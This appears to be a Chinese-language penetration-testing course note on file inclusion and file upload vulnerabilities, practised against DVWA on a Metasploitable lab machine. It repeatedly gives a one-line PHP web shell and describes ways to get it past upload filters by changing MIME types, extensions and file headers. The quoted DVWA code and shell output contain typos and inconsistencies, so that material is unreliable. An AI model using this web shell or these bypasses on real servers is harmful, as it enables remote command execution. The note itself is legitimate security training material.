-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy path课时87 手动漏洞挖掘（四）.txt
executable file
·214 lines (150 loc) · 6.22 KB
/
课时87 手动漏洞挖掘（四）.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
课时87 手动漏洞挖掘（四）
手动漏洞挖掘
本地文件包含lfi
查看文件
代码执行
<?php echo shell_exec($_GET['cmd']);?>
Apache access.log
远程文件包含rfi
出现概率少于lfi，但更容易被利用
/usr/share/wfuzz/wordlist/vulns/
手动漏洞挖掘
文件上传漏洞
<?php echo shell_exec($_GET['cmd']);?>
直接上传webshell
修改文件类型上传webshell
Mimetype----文件头、扩展名
修改扩展名上传webshell
静态解析文件扩展名时可能无法执行
文件头绕过过滤上传webshell
上传目录权限
root@kali:~# vi 1.oho
<?php echo shell_exec($_GET['cmd']);?>
-------------------------------------------------------------------------
低安全代码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploade']['name']
if(!move_uploaded_file($_FILES('uploaded']['tmp_name']. $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' successfully uploaded!';
echo '</pre>';
}
}
?>
----------------------------------------------------------------------------
中安全代码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploade']['name']
$uploaded_name = $_FILES['uploade']['name']
$uploaded_name = $_FILES['uploade']['type']
$uploaded_name = $_FILES['uploade']['size']
if(!move_uploaded_file($_FILES('uploaded']['tmp_name']. $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' successfully uploaded!';
echo '</pre>';
}
}
?>
-------------------------------------------------------------------------------------
msfadmin@metasploitable:~$ cd /var/www/dvwa/hackable/uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo rm 1*
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo rm 1.png
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls
dvwa_email.png
root@kali:~# minetype
root@kali:~# minetype 1.php
1.php: application/x-php
root@kali:~# cd 桌面/
root@kali:~/桌面# minetype 1.png
1.png: image/png
root@kali:~/桌面# minetype 1.jpg
1.jpg: image/jpeg
root@kali:~/桌面# cd ..
root@kali:~/# ls
1.php hs_err_pid2958.log 公共 视频 文档 音乐
????? ZAP_2.4.3_Linux.tar.gz 模板 图片 下载 桌面
root@kali:~/# 1.php
root@kali:~/# cp 1.php a.jpg
root@kali:~/# ls
1.php a.jpg hs_err_pid2958.log 模板 图片 下载 桌面
????? ZAP_2.4.3_Linux.tar.gz 公共 视频 文档 音乐
root@kali:~/# minetype a.jpg
a.jpg: applicaton/x-php
-------------------------------------------------------------------------------
高安全代码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploade']['name']
$uploaded_name = $_FILES['uploade']['name']
$uploaded_ext = substr($uploaded_name,strrpos($uploaded_name. '.') +1);
$uploaded_name = $_FILES['uploade']['size']
if(($uploaded_ext == "jgp" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES('uploaded']['tmp_name']. $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' successfully uploaded!';
echo '</pre>';
}
}
}
?>
---------------------------------------------------------------------------------
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo rm *
把图片信息删除，换成<?php echo shell_exec($_GET['cmd']);?>
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls
2.jpg 2.php.jpeg
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ cat 2.jpeg
cat: 2.jpeg: Permission denied
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo cat 2.jpeg
*PNG
<?php echo shell_exec($_GET['cmd']);?>msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo cat 2.php.jpeg
<?php echo shell_exec($_GET['cmd']);?>msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:48 2.jpeg
-rw------- 1 www-date www-data 46 2016-01-19 07:51 2.php.jpeg
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ cd ..
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls
uploads users
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:51 uploads
-rw------- 1 www-date www-data 46 2016-01-19 07:22 users
msfadmin@metasploitable:/var/www/dvwa/hackable$ sudo chmod o-x uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:51 uploads
-rw------- 1 www-date www-data 46 2016-01-19 07:22 users
msfadmin@metasploitable:/var/www/dvwa/hackable$ sudo -i
msfadmin@metasploitable:~$ cd /var/www/dvwa/hackable/uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:48 2.jpeg
-rw------- 1 www-date www-data 46 2016-01-19 07:51 2.php.jpeg
msfadmin@metasploitable:/var/www/dvwa/hackable$ cd ..
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls
uploads users
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
drwxr-xr-- 1 www-date www-data 46 2016-01-19 07:51 uploads
drwxr-xr-x 1 www-date www-data 46 2016-01-19 07:22 users
msfadmin@metasploitable:/var/www/dvwa/hackable$ chmod a-x uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
drw-r-xr-- 1 www-date www-data 46 2016-01-19 07:51 uploads
drwxr-xr-x 1 www-date www-data 46 2016-01-19 07:22 users